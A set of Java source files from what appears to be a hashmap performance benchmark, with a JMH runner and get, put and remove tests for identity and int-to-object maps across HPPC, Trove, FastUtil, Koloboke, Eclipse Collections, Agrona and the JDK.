tests.addAll( Arrays.asList( TESTS_PRIMITIVE ) );
tests.addAll( Arrays.asList( TESTS_WRAPPER ) );
tests.addAll( Arrays.asList( TESTS_PRIMITIVE_WRAPPER ) );
tests.addAll( Arrays.asList( TESTS_WRAPPER_PRIMITIVE ) );
tests.addAll( Arrays.asList( TESTS_IDENTITY ) );
//first level: test class, second level - map size
final Map<String, Map<Integer, String>> results = new HashMap<>();
if ( BILLION_TEST )
{ //JMH does not feel well on these sizes
testBillion( tests );
return "";
}
//pick map size first - we need to generate a set of keys to be used in all tests
for (final int mapSize : MAP_SIZES) {
//run tests one after another
for ( final Class<?> testClass : tests ) {
Options opt = new OptionsBuilder()
.include(".*" + MapTestRunner.class.getSimpleName() + ".*")
.forks(1)
.mode(Mode.SingleShotTime)
.warmupBatchSize(TOTAL_SIZE / mapSize)
.warmupIterations(10)
.measurementBatchSize(TOTAL_SIZE / mapSize)
.measurementIterations(8)
.jvmArgsAppend("-Xmx30G")
.param("m_mapSize", Integer.toString(mapSize))
.param("m_className", testClass.getCanonicalName())
.param("m_testType", testSetName)
//.verbosity(VerboseMode.SILENT)
.shouldFailOnError(true)
.build();
Collection<RunResult> res = new Runner(opt).run();
for ( RunResult rr : res )
{
System.out.println( testClass.getCanonicalName() + " (" + mapSize + ") = " + rr.getAggregatedResult().getPrimaryResult().getScore() );
Map<Integer, String> forClass = results.computeIfAbsent(testClass.getCanonicalName(), k -> new HashMap<>(4));
forClass.put(mapSize, Integer.toString((int) rr.getAggregatedResult().getPrimaryResult().getScore()) );
}
if ( res.isEmpty() ) {
Map<Integer, String> forClass = results.computeIfAbsent(testClass.getCanonicalName(), k -> new HashMap<>(4));
forClass.put(mapSize, "-1");
}
}
}
final String res = formatResults(results, MAP_SIZES, tests);
System.out.println( "Results for test type = " + testSetName + ":\n" + res);
return res;
}
private static void testBillion( final List<Class<?>> tests ) throws IllegalAccessException, InstantiationException {
final int mapSize = 1000 * 1000 * 1000;
for ( final Class<?> klass : tests )
{
System.gc();
final IMapTest obj = (IMapTest) klass.newInstance();
System.out.println( "Prior to setup for " + klass.getName() );
obj.setup(KeyGenerator.getKeys(mapSize), FILL_FACTOR, ONE_FAIL_OUT_OF);
System.out.println( "After setup for " + klass.getName() );
final long start = System.currentTimeMillis();
obj.test();
final long time = System.currentTimeMillis() - start;
System.out.println( klass.getName() + " : time = " + ( time / 1000.0 ) + " sec");
}
}
private static String formatResults( final Map<String, Map<Integer, String>> results, final int[] mapSizes, final List<Class<?>> tests )
{
final StringBuilder sb = new StringBuilder( 2048 );
//format results
//first line - map sizes, should be sorted
for ( final int size : mapSizes )
sb.append( "," ).append( size );
sb.append( "\n" );
//following lines - tests in the definition order
for ( final Class<?> test : tests )
{
final Map<Integer, String> res = results.get( test.getCanonicalName() );
sb.append( test.getName() );
for ( final int size : mapSizes )
sb.append( ",\"" ).append( res.get( size ) ).append( "\"" );
sb.append( "\n" );
}
return sb.toString();
}
public static class KeyGenerator
{
public static int s_mapSize;
public static int[] s_keys;
public static int[] getKeys( final int mapSize )
{
if ( mapSize == s_mapSize )
return s_keys;
s_mapSize = mapSize;
s_keys = null; //should be done separately so we don't keep 2 arrays in memory
s_keys = new int[ mapSize ];
final Random r = new Random( 1234 );
for ( int i = 0; i < mapSize; ++i )
s_keys[ i ] = r.nextInt();
return s_keys;
}
}
@Param("1")
public int m_mapSize;
@Param("dummy")
public String m_className;
@Param( {"get", "put", "remove"} )
public String m_testType;
private IMapTest m_impl;
@Setup
public void setup()
{
try {
final ITestSet testSet = (ITestSet) Class.forName( m_className ).newInstance();
switch ( m_testType )
{
case "get":
m_impl = testSet.getTest();
break;
case "put":
m_impl = testSet.putTest();
break;
case "remove":
m_impl = testSet.removeTest();
break;
}
} catch (InstantiationException | IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
}
//share the same keys for all tests with the same map size
m_impl.setup( KeyGenerator.getKeys( m_mapSize ), FILL_FACTOR, ONE_FAIL_OUT_OF );
}
@Benchmark
public int testRandom()
{
return m_impl.test();
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests;
/**
* Each test class will implement several test interfaces. Each test will be initialized and run independently.
* Currently there are 2 sets:
* 1) get - successful and failing
* 2) put - add and update
*/
public interface ITestSet {
public IMapTest getTest();
public IMapTest putTest();
public IMapTest removeTest();
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests;
/**
* An interface to be implemented by each performance test
*/
public interface IMapTest {
public void setup( final int[] keys, final float fillFactor, final int oneFailureOutOf );
public int test();
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import com.carrotsearch.hppc.ObjectObjectMap;
import com.carrotsearch.hppc.ObjectObjectIdentityHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
/**
* HPPC IdentityMap version
*/
public class HppcIdentityMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new HppcIdentityMapGetTest();
}
@Override
public IMapTest putTest() {
return new HppcObjIdentityMapPutTest();
}
@Override
public IMapTest removeTest() {
return new HppcObjIdentityMapRemoveTest();
}
private static class HppcIdentityMapGetTest extends AbstractObjKeyGetTest {
private ObjectObjectMap<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new ObjectObjectIdentityHashMap<>( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(key % oneFailureOutOf == 0 ? key + 1 : key, key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class HppcObjIdentityMapPutTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final ObjectObjectMap<Integer, Integer> m_map = new ObjectObjectIdentityHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i ) //same keys are use for identity test
m_map.put( m_keys[ i ], m_keys[ i ] );
return m_map.size();
}
}
private static class HppcObjIdentityMapRemoveTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final ObjectObjectMap<Integer, Integer> m_map = new ObjectObjectIdentityHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import gnu.trove.map.hash.TCustomHashMap;
import gnu.trove.strategy.IdentityHashingStrategy;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import java.util.Map;
/**
* Trove IdentityHashMap version
*/
public class TroveIdentityMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new TroveIdentityMapGetTest();
}
@Override
public IMapTest putTest() {
return new TroveIdentityObjMapPutTest();
}
@Override
public IMapTest removeTest() {
return new TroveIdentityObjMapRemoveTest();
}
private static class TroveIdentityMapGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new TCustomHashMap<>( IdentityHashingStrategy.INSTANCE, keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(key % oneFailureOutOf == 0 ? key + 1 : key, key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class TroveIdentityObjMapPutTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new TCustomHashMap<>( IdentityHashingStrategy.INSTANCE, m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i ) //same key set is used for identity tests
m_map.put( m_keys[ i ], m_keys[ i ] );
return m_map.size();
}
}
private static class TroveIdentityObjMapRemoveTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new TCustomHashMap<>( IdentityHashingStrategy.INSTANCE, m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import it.unimi.dsi.fastutil.objects.Reference2ObjectOpenHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import java.util.Map;
/**
* FastUtil IdentityHashMap version
*/
public class FastUtilRef2ObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new FastUtilRef2ObjectGetTest();
}
@Override
public IMapTest putTest() {
return new FastUtilRef2ObjPutTest();
}
@Override
public IMapTest removeTest() {
return new FastUtilRef2ObjRemoveTest();
}
private static class FastUtilRef2ObjectGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new Reference2ObjectOpenHashMap<>( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(key % oneFailureOutOf == 0 ? key + 1 : key, key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class FastUtilRef2ObjPutTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new Reference2ObjectOpenHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i ) //same key set is used for identity maps
m_map.put( m_keys[ i ], m_keys[ i ] );
return m_map.size();
}
}
private static class FastUtilRef2ObjRemoveTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new Reference2ObjectOpenHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import tests.maptests.IMapTest;
/**
* Base class for identity map put tests
*/
public abstract class AbstractObjKeyPutIdentityTest implements IMapTest {
protected Integer[] m_keys;
protected float m_fillFactor;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf) {
m_fillFactor = fillFactor;
m_keys = new Integer[ keys.length ];
for ( int i = 0; i < keys.length; ++i )
m_keys[ i ] = new Integer( keys[ i ] );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import java.util.IdentityHashMap;
import java.util.Map;
/**
* JDK identity map test - strictly for identical keys during both populating and querying
*/
public class JDKIdentityMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new JDKIdentityMapGetTest();
}
@Override
public IMapTest putTest() {
return new JdkIdentityMapPutTest();
}
@Override
public IMapTest removeTest() {
return new JdkIdentityMapRemoveTest();
}
private static class JDKIdentityMapGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = new IdentityHashMap<>( keys.length );
for (Integer key : m_keys)
m_map.put(key % oneFailureOutOf == 0 ? key + 1 : key, key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class JdkIdentityMapPutTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> map = new IdentityHashMap<>( m_keys.length );
for ( int i = 0; i < m_keys.length; ++i )
map.put( m_keys[ i ], m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i ) //same set is used for identity tests
map.put( m_keys[ i ], m_keys[ i ] );
return map.size();
}
}
private static class JdkIdentityMapRemoveTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = new IdentityHashMap<>( m_keys.length / 2 + 1 );
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import com.koloboke.collect.Equivalence;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashObjObjMaps;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import java.util.Map;
/**
* Koloboke pure IdentityMap version
*/
public class KolobokeIdentityMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new KolobokeIdentityMapGetTest();
}
@Override
public IMapTest putTest() {
return new KolobokeObjIdentityPutTest();
}
@Override
public IMapTest removeTest() {
return new KolobokeObjIdentityRemoveTest();
}
private static <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return HashObjObjMaps.getDefaultFactory().withKeyEquivalence( Equivalence.identity() ).
withHashConfig(HashConfig.fromLoads(fillFactor/2, fillFactor, fillFactor)).newMutableMap(size);
}
private static class KolobokeIdentityMapGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = makeMap(keys.length, fillFactor);
for (Integer key : m_keys)
m_map.put( key % oneFailureOutOf == 0 ? key + 1 : key, key );
}
@Override
public int test() {
int res = 0;
for (int i = 0; i < m_keys.length; ++i)
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private class KolobokeObjIdentityPutTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = makeMap(m_keys.length, m_fillFactor);
for (int i = 0; i < m_keys.length; ++i)
m_map.put(m_keys[i],m_keys[i]);
for (int i = 0; i < m_keys.length; ++i) //same set for identity tests
m_map.put(m_keys[i],m_keys[i]);
return m_map.size();
}
}
private class KolobokeObjIdentityRemoveTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = makeMap(m_keys.length / 2 + 1, m_fillFactor);
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.identity_object;
import org.eclipse.collections.api.block.HashingStrategy;
import org.eclipse.collections.impl.map.strategy.mutable.UnifiedMapWithHashingStrategy;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.object_prim.AbstractObjKeyGetTest;
import java.util.Map;
/**
* GS IdentityMap version
*/
public class GsIdentityMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new GsIdentityMapGetTest();
}
@Override
public IMapTest putTest() {
return new GsObjIdentityPutTest();
}
@Override
public IMapTest removeTest() {
return new GsObjIdentityRemoveTest();
}
private static <T, V> Map<T, V> makeMap( final int size, final float fillFactor )
{
return new UnifiedMapWithHashingStrategy<>(new HashingStrategy<T>() {
@Override
public int computeHashCode(T object) {
return System.identityHashCode( object );
}
@Override
public boolean equals(T object1, T object2) {
return object1 == object2;
}
}, size, fillFactor );
}
private static class GsIdentityMapGetTest extends AbstractObjKeyGetTest {
private Map<Integer, Integer> m_map;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailureOutOf ) {
super.setup( keys, fillFactor, oneFailureOutOf );
m_map = makeMap( keys.length, fillFactor );
for (Integer key : m_keys)
m_map.put(key % oneFailureOutOf == 0 ? key + 1 : key, key);
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class GsObjIdentityPutTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = makeMap(m_keys.length, m_fillFactor);
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ],m_keys[ i ] );
for ( int i = 0; i < m_keys.length; ++i ) //same key set for identity maps
m_map.put( m_keys[ i ],m_keys[ i ] );
return m_map.size();
}
}
private static class GsObjIdentityRemoveTest extends AbstractObjKeyPutIdentityTest {
@Override
public int test() {
final Map<Integer, Integer> m_map = makeMap(m_keys.length / 2 + 1, m_fillFactor);
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.put( m_keys[ add ], m_keys[ add ] );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import gnu.trove.map.TIntObjectMap;
import gnu.trove.map.hash.TIntObjectHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Trove TIntObjectHashMap
*/
public class TroveIntObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new TroveIntObjectGetTest();
}
@Override
public IMapTest putTest() {
return new TroveIntObjectPutTest();
}
@Override
public IMapTest removeTest() {
return new TroveIntObjectRemoveTest();
}
private static class TroveIntObjectGetTest extends AbstractPrimObjectGetTest {
private TIntObjectMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, int oneFailOutOf) {
super.setup(keys, fillFactor, oneFailOutOf);
m_map = new TIntObjectHashMap<>( keys.length, fillFactor );
for ( final int key : keys ) m_map.put( key % oneFailOutOf == 0 ? key + 1 : key, key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class TroveIntObjectPutTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Integer value = 1;
final TIntObjectMap<Integer> m_map = new TIntObjectHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
return m_map.size();
}
}
private static class TroveIntObjectRemoveTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final TIntObjectMap<Integer> m_map = new TIntObjectHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
final Integer value = 1;
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], value );
++add;
m_map.put( m_keys[ add ], value );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* FastUtil Int2ObjectOpenHashMap test
*/
public class FastUtilIntObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new FastUtilIntObjectGetTest();
}
@Override
public IMapTest putTest() {
return new FastUtilIntObjectPutTest();
}
@Override
public IMapTest removeTest() {
return new FastUtilIntObjectRemoveTest();
}
private static class FastUtilIntObjectGetTest extends AbstractPrimObjectGetTest {
private Int2ObjectOpenHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, int oneFailOutOf) {
super.setup(keys, fillFactor, oneFailOutOf );
m_map = new Int2ObjectOpenHashMap<>( keys.length, fillFactor );
for ( int key : keys ) m_map.put( key % oneFailOutOf == 0 ? key + 1 : key, Integer.valueOf(key) );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class FastUtilIntObjectPutTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Integer value = 1;
final Int2ObjectOpenHashMap<Integer> m_map = new Int2ObjectOpenHashMap<>( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
return m_map.size();
}
}
private static class FastUtilIntObjectRemoveTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Int2ObjectOpenHashMap<Integer> m_map = new Int2ObjectOpenHashMap<>( m_keys.length / 2 + 1, m_fillFactor );
final Integer value = 1;
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], value );
++add;
m_map.put( m_keys[ add ], value );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import tests.maptests.IMapTest;
/**
* Base class for primitive to object map get tests
*/
public abstract class AbstractPrimObjectGetTest implements IMapTest {
protected int[] m_keys;
@Override
public void setup(final int[] keys, final float fillFactor, final int oneFailOutOf) {
m_keys = keys;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import com.koloboke.collect.hash.HashConfig;
import com.koloboke.collect.map.hash.HashIntObjMap;
import com.koloboke.collect.map.hash.HashIntObjMaps;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.primitive.AbstractPrimPrimGetTest;
import tests.maptests.primitive.AbstractPrimPrimPutTest;
/**
* Koloboke int-2-object map test
*/
public class KolobokeIntObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new KolobokeIntObjectGetTest();
}
@Override
public IMapTest putTest() {
return new KolobokeIntObjectPutTest();
}
@Override
public IMapTest removeTest() {
return new KolobokeIntObjectRemoveTest();
}
private static <T> HashIntObjMap<T> makeMap(final int size, final float fillFactor )
{
return HashIntObjMaps.getDefaultFactory().withHashConfig(HashConfig.fromLoads( fillFactor/2, fillFactor, fillFactor)).newMutableMap( size );
}
private static class KolobokeIntObjectGetTest extends AbstractPrimPrimGetTest {
private HashIntObjMap<Integer> m_map;
@Override
public void setup(final int[] keys, float fillFactor, int oneFailOutOf) {
super.setup( keys, fillFactor, oneFailOutOf);
m_map = makeMap( keys.length, fillFactor );
for (int key : keys) m_map.put(key % oneFailOutOf == 0 ? key + 1 : key, Integer.valueOf(key));
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class KolobokeIntObjectPutTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final Integer value = 1;
final HashIntObjMap<Integer> m_map = makeMap( m_keys.length, m_fillFactor );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
return m_map.size();
}
}
private static class KolobokeIntObjectRemoveTest extends AbstractPrimPrimPutTest {
@Override
public int test() {
final HashIntObjMap<Integer> m_map = makeMap( m_keys.length / 2 + 1, m_fillFactor );
final Integer value = 1;
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], value );
++add;
m_map.put( m_keys[ add ], value );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import org.agrona.collections.Int2ObjectHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* Agrona Int2ObjectHashMap test
*/
public class AgronaIntObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new AgronaIntObjectGetTest();
}
@Override
public IMapTest putTest() {
return new AgronaIntObjectPutTest();
}
@Override
public IMapTest removeTest() {
return new AgronaIntObjectRemoveTest();
}
private static class AgronaIntObjectGetTest extends AbstractPrimObjectGetTest {
private Int2ObjectHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, int oneFailOutOf) {
super.setup(keys, fillFactor, oneFailOutOf);
m_map = new Int2ObjectHashMap<>( keys.length, 0.5f );
for ( int key : keys ) m_map.put( key % oneFailOutOf == 0 ? key + 1 : key, Integer.valueOf(key) );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class AgronaIntObjectPutTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Integer value = 1;
final Int2ObjectHashMap<Integer> m_map = new Int2ObjectHashMap<>( m_keys.length, 0.5f );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
return m_map.size();
}
}
private static class AgronaIntObjectRemoveTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Int2ObjectHashMap<Integer> m_map = new Int2ObjectHashMap<>( m_keys.length / 2 + 1, 0.5f );
final Integer value = 1;
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], value );
++add;
m_map.put( m_keys[ add ], value );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
import com.carrotsearch.hppc.IntObjectHashMap;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
/**
* HPPC IntObjectHashMap test
*/
public class HppcIntObjectMapTest implements ITestSet
{
@Override
public IMapTest getTest() {
return new HppcIntObjectGetTest();
}
@Override
public IMapTest putTest() {
return new HppcIntObjectPutTest();
}
@Override
public IMapTest removeTest() {
return new HppcIntObjectRemoveTest();
}
private static class HppcIntObjectGetTest extends AbstractPrimObjectGetTest {
private IntObjectHashMap<Integer> m_map;
@Override
public void setup(int[] keys, float fillFactor, int oneFailOutOf) {
super.setup(keys, fillFactor, oneFailOutOf);
m_map = new IntObjectHashMap<>( keys.length, 0.5f );
for ( int key : keys ) m_map.put( key % oneFailOutOf == 0 ? key + 1 : key, key );
}
@Override
public int test() {
int res = 0;
for ( int i = 0; i < m_keys.length; ++i )
if ( m_map.get( m_keys[ i ] ) != null ) res ^= 1;
return res;
}
}
private static class HppcIntObjectPutTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final Integer value = 1;
final IntObjectHashMap<Integer> m_map = new IntObjectHashMap<>( m_keys.length, 0.5f );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
for ( int i = 0; i < m_keys.length; ++i )
m_map.put( m_keys[ i ], value );
return m_map.size();
}
}
private static class HppcIntObjectRemoveTest extends AbstractPrimObjectPutTest {
@Override
public int test() {
final IntObjectHashMap<Integer> m_map = new IntObjectHashMap<>( m_keys.length / 2 + 1, 0.5f );
final Integer value = 1;
int add = 0, remove = 0;
while ( add < m_keys.length )
{
m_map.put( m_keys[ add ], value );
++add;
m_map.put( m_keys[ add ], value );
++add;
m_map.remove( m_keys[ remove++ ] );
}
return m_map.size();
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests.maptests.prim_object;
